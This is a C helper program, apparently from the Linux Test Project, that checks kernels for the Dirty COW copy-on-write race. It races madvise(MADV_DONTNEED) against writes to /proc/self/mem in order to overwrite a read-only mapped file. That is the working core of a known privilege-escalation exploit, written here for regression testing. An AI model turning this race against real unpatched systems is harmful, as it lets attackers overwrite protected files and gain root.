Home | History | Annotate | Download | only in dirtyc0w
      1 /*
      2  * Copyright (c) 2016 Cyril Hrubis <chrubis (at) suse.cz>
      3  *  Based on: https://github.com/dirtycow/dirtycow.github.io
      4  *
      5  * This program is free software: you can redistribute it and/or modify
      6  * it under the terms of the GNU General Public License as published by
      7  * the Free Software Foundation, either version 2 of the License, or
      8  * (at your option) any later version.
      9  *
     10  * This program is distributed in the hope that it will be useful,
     11  * but WITHOUT ANY WARRANTY; without even the implied warranty of
     12  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     13  * GNU General Public License for more details.
     14  *
     15  * You should have received a copy of the GNU General Public License
     16  * along with this program. If not, see <http://www.gnu.org/licenses/>.
     17  */
     18 
     19 #include <sys/mman.h>
     20 #include <fcntl.h>
     21 #include <pthread.h>
     22 #include <unistd.h>
     23 #include <sys/stat.h>
     24 #include <string.h>
     25 #include <stdlib.h>
     26 #include <pwd.h>
     27 
     28 #include "tst_safe_pthread.h"
     29 #define TST_NO_DEFAULT_MAIN
     30 #include "tst_test.h"
     31 
     32 #define FNAME "test"
     33 #define STR   "this is not a test\n"
     34 
     35 static char *str = "m00000000000000000";
     36 static void *map;
     37 static int mfd;
     38 
     39 /*
     40  * You have to race madvise(MADV_DONTNEED) ::
     41  * https://access.redhat.com/security/vulnerabilities/2706661
     42  *
     43  * This is achieved by racing the madvise(MADV_DONTNEED) system call while
     44  * having the page of the executable mmapped in memory.
     45  */
     46 static void *madvise_thread(void *arg)
     47 {
     48 	int c = 0;
     49 
     50 	(void)arg;
     51 
     52 	while (1)
     53 		c += madvise(map, 100, MADV_DONTNEED);
     54 
     55 	tst_res(TINFO, "madvise: %i", c);
     56 
     57 	return NULL;
     58 }
     59 
     60 /*
     61  * You have to write to /proc/self/mem ::
     62  * https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
     63  *
     64  * The in the wild exploit we are aware of doesn't work on Red Hat Enterprise
     65  * Linux 5 and 6 out of the box because on one side of the race it writes to
     66  * /proc/self/mem, but /proc/self/mem is not writable on Red Hat Enterprise
     67  * Linux 5 and 6.
     68  */
     69 void *proc_self_mem_thread(void *arg)
     70 {
     71 	int c = 0;
     72 
     73 	(void)arg;
     74 
     75 	while (1) {
     76 		lseek(mfd, (uintptr_t) map, SEEK_SET);
     77 		c += write(mfd, str, strlen(str));
     78 	}
     79 
     80 	tst_res(TINFO, "write: %i", c);
     81 
     82 	return NULL;
     83 }
     84 
     85 void sighandler(int sig)
     86 {
     87 	(void) sig;
     88 
     89 	_exit(0);
     90 }
     91 
     92 /*
     93  * You have to use MAP_PRIVATE for copy-on-write mapping.
     94  * Create a private copy-on-write mapping. Updates to the
     95  * mapping are not visible to other processes mapping the same
     96  * file, and are not carried through to the underlying file. It
     97  * is unspecified whether changes made to the file after the
     98  * mmap() call are visible in the mapped region.
     99  */
    100 int main(void)
    101 {
    102 	pthread_t pth1, pth2;
    103 	int fd;
    104 	struct stat st;
    105 
    106 	SAFE_SIGNAL(SIGUSR1, sighandler);
    107 
    108 	/* Open it read only and map */
    109 	fd = SAFE_OPEN(FNAME, O_RDONLY);
    110 	SAFE_FSTAT(fd, &st);
    111 
    112 	map = SAFE_MMAP(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    113 	mfd = SAFE_OPEN("/proc/self/mem", O_RDWR);
    114 
    115 	/* Try to rewrite it */
    116 	SAFE_PTHREAD_CREATE(&pth1, NULL, madvise_thread, NULL);
    117 	SAFE_PTHREAD_CREATE(&pth2, NULL, proc_self_mem_thread, NULL);
    118 
    119 	pause();
    120 
    121 	return 0;
    122 }
    123